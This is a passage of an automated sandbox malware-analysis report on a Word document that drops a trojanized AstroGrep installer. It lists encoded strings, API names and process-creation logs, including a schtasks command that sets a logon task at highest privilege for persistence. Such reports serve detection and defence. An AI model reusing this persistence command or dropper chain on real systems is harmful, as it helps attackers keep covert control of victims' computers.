'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
Source: 14.0.astro-grep.exe.190000.0.unpack, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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
Source: 14.2.astro-grep.exe.190000.0.unpack, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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

Source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: ASTRO-GREP.EXE.2.dr, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: ASTRO-GREP.EXE.2.dr, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 14.0.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 14.0.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: astro-grep.exe.3.dr, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: astro-grep.exe.3.dr, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.2.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 12.2.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 14.2.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 14.2.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.0.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 12.0.astro-grep.exe.190000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, IhLcdtuBuDKw/dZWFTUdsqePoS.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@20/36@1/2

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

4_2_0040310F

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

Code function: 4_2_00404352 GetDlgItem,SetWindowTextA,SHAutoComplete,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceExA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

4_2_00404352

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

Code function: 4_2_0040205E CoCreateInstance,MultiByteToWideChar,

4_2_0040205E

Source: C:\ProgramData\Memsys\ms.exe

Code function: 2_2_00B71AD0 FindResourceA,LoadResource,SizeofResource,LockResource,_memset,_memmove,FreeResource,

2_2_00B71AD0

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

File created: C:\Program Files (x86)\AstroGrep

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$tro-grep-setup.exe.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\astro-grep.exe

Mutant created: \Sessions\1\BaseNamedObjects\Mutex_6SI8OkPnk

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRB3D4.tmp

Jump to behavior

Source: astro-grep-setup.exe.doc	OLE document summary: title field not present or empty
Source: astro-grep-setup.exe.doc	OLE document summary: author field not present or empty
Source: astro-grep-setup.exe.doc	OLE document summary: edited time not present or 0

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat''

Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................T.h.e. .b.a.t.c.h. .f.i.l.e. .c.a.n.n.o.t. .b.e. .f.o.u.n.d.............................B.................(.....			Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................H&!.....(.P.....................................................................................................			Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe	Command line argument: shell32.dll	2_2_00B71320
Source: C:\ProgramData\Memsys\ms.exe	Command line argument: ShellExecuteA	2_2_00B71320
Source: C:\ProgramData\Memsys\ms.exe	Command line argument: RBIND	2_2_00B71320

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Roaming\astro-grep.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: astro-grep-setup.exe.doc

Virustotal: Detection: 60%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\ProgramData\Memsys\ms.exe C:\ProgramData\Memsys\ms.exe
Source: C:\ProgramData\Memsys\ms.exe	Process created: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE'
Source: C:\ProgramData\Memsys\ms.exe	Process created: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE 'C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE'
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe'' & exit
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat''
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe''
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 3
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {E0184388-4CC0-4E79-AF38-011207705295} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\astro-grep.exe C:\Users\user\AppData\Roaming\astro-grep.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\astro-grep.exe 'C:\Users\user\AppData\Roaming\astro-grep.exe'
Source: C:\ProgramData\Memsys\ms.exe	Process created: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE'	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process created: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE 'C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe'' & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat''	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe''	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\astro-grep.exe 'C:\Users\user\AppData\Roaming\astro-grep.exe'	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\astro-grep.exe C:\Users\user\AppData\Roaming\astro-grep.exe	Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: I Agree
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Window detected: < &BackI &AgreeCancelNullsoft Install System v3.0rc1 Nullsoft Install System v3.0rc1License AgreementPlease review the license terms before installing AstroGrep v4.4.7.Press Page Down to see the rest of the agreement. GNU GENERAL PUBLIC LICENSE Version 2 June 1991 Copyright (C) 1989 1991 Free Software Foundation Inc. 59 Temple Place Suite 330 Boston MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document but changing it is not allowed. Preamble The licenses for most software are designed to take away yourfreedom to share and change it. By contrast the GNU General PublicLicense is intended to guarantee your freedom to share and change freesoftware--to make sure the software is free for all its users. 